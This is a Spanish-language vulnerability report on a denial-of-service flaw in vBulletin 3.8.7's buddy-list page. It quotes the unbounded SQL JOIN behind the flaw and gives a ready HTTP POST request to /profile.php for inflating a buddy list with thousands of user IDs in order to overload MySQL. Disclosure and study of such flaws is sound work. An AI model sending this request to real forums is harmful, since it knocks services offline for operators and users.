
Informe de una vulnerabilidad de Denegación de Servicio en la lista de amigos de vBulletin 3.8.7.
El endpoint /misc.php?do=buddylist ejecuta una única consulta JOIN grande que recupera todos los amigos junto con su información de usuario y sesión para verificar el estado en línea. Debido a que esta consulta procesa toda la lista de amigos sin paginación ni límites de resultados, se vuelve extremadamente intensiva en recursos y puede sobrecargar la base de datos cuando la lista crece.
Este problema es fácil de explotar y requiere una configuración mínima. No se necesitan privilegios especiales más allá de una cuenta de usuario básica. Simplemente inflar la lista de amigos es suficiente para ejercer una gran presión sobre la base de datos.
Esta consulta SQL recupera los detalles de los amigos junto con la información de la sesión para verificar el estado en línea de cada amigo. Debido a que procesa toda la lista de amigos y se combina con los datos de sesión para cada entrada, la consulta se vuelve muy grande y consume muchos recursos.
$buddys = $db->query_read_slave("
SELECT
user.username,
(user.options & " . $vbulletin->bf_misc_useroptions['invisible'] . ") AS invisible,
user.userid,
session.lastactivity
FROM " . TABLE_PREFIX . "userlist AS userlist
LEFT JOIN " . TABLE_PREFIX . "user AS user ON (user.userid = userlist.relationid)
LEFT JOIN " . TABLE_PREFIX . "session AS session ON (session.userid = user.userid)
WHERE userlist.userid = {$vbulletin->userinfo['userid']}
AND userlist.relationid = user.userid
AND type = 'buddy'
ORDER BY username ASC, session.lastactivity DESC
");
Se pueden poblar listas masivas de amigos mediante una solicitud POST a /profile.php con listbits. Esto se puede repetir para miles de ID de usuario para inflar la lista de amigos:
POST /profile.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
securitytoken=TOKEN
&ajax=1
&do=updatelist
&userlist=buddy
&listbits[buddy_original][USER_ID]=USER_ID
&listbits[buddy][USER_ID]=USER_ID
&listbits[friend][USER_ID]=USER_ID
&listbits[friend_original][USER_ID]=USER_ID
...
En foros grandes, esto puede causar un retraso severo en las consultas o incluso bloquear la instancia de MySQL por completo.